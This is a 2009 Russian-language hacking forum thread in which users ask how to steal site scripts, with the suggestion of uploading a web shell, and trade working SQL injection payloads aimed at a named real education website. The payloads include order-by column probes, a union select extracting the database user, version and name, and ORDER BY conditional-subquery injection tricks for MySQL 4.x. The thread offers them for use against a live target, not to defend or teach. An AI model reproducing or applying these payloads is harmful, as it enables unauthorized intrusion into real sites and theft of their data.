05.06.2009, 16:21
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
Здравствуйте, можете пожалуйсто сказать, каким образом сливаются скрипты с сайтов?
|
|
|
05.06.2009, 16:55
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
С нами:
9116877
Репутация:
468
|
|
Здравствуйте, можете пожалуйсто сказать, каким образом сливаются скрипты с сайтов?
Через шелл, а шелл сначала надо залить
|
|
|
|
05.06.2009, 17:39
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
http://old.guoedu.ru/priemnaja/?doc='
кто поможет?  |
|
|
|
05.06.2009, 18:02
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
С нами:
9116877
Репутация:
468
|
|
http://old.guoedu.ru/avg_conf/?doc=111+order+by+8/* 8 полей, но тут тяжелый случай -2йной запрос...
|
|
|
|
05.06.2009, 18:57
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
http://old.guoedu.ru/forum/?doc=115&act=forum&id=-2++union+select+1,concat_ws(0x3a,user(),version(), database()),3,4,5,6,7,8,9--&topic=6
|
|
|
|
05.06.2009, 19:55
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами:
9361870
Репутация:
58
|
|
суть вопроса.
запрос: select ... from ... where ... order by act_(вот после этого я могу подставить что нить в запрос)
в ответе можно веть по сортировке узнать как выполнился запрос но в том то и дело что таблица пустая из которой все это выводится.
union тоже не прокатит после order
версия mysql 4.x
какие есть соображения?
|
|
|
|
05.06.2009, 20:19
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Вот такие:
select ... from ... where ... order by (select+if(substring(version(),1,1)=4,1,(select 1 union select id)))
Пост
http://forum.antichat.ru/showpost.php?p=507099&postcount=10
Ну и вообще весь материал почитай
|
|
|
|
05.06.2009, 20:26
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами:
9361870
Репутация:
58
|
|
2jokester ожидал))
вот только проблема что там префикс подставляется
запрос: select ... from ... where ... order by act_(вот после этого я могу подставить что нить в запрос)
т.е. в order никак не залезть. вот и проблема.
смысл понятен из того поста.
вот и в этой ситуации что можно добавить в запрос чтобы выполнить эти функции уже после ...order by act_id
Последний раз редактировалось j0ker13; 05.06.2009 в 20:30..
|
|
|
|
05.06.2009, 20:29
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Сообщение от j0ker13
2jokester ожидал))
вот только проблема что там префикс подставляется
т.е. в order никак не залезть. вот и проблема.
Узнай имя колонки (подбери (насколько я понял, в твоём случае правильный линк (без инъекции) будет содержать имя столбца)), а дальше как в статье (п 3.4):
https://forum.antichat.ru/showpost.p...27&postcount=3
Последний раз редактировалось Grey; 05.06.2009 в 20:32..
|
|
|
|
05.06.2009, 20:38
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами:
9361870
Репутация:
58
|
|
2Grey случай у меня запущенный...
таблица пустая. непонять какая сортировка будет(
и select .. from .. where .. order by act_id (вот после этого можно что нить вставлять)
немного прояснилось но не до конца)
можно использовать несколько столбцов после order by(.. order by id,login, ..)
теперь такая конструкция:
select .. from .. where .. order by act_id,(select+if(2=1,1,(select 1 union select act_id)))
второе выражение тоже должен проверять но не появляется ошибки(
хотя: select .. from .. where .. order by act_id,1000 вызывает ошибку
ERROR:Could not query database Unknown column '1000' in 'order clause'
сидел думал...)
такая конструкция -
order by act_id,(select+if(2=1,1,1000)) начнет сортироватся и по 1000 столбцу и должна вылететь ошибка но ее нет(
в чем проблема?
Последний раз редактировалось j0ker13; 05.06.2009 в 22:32..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
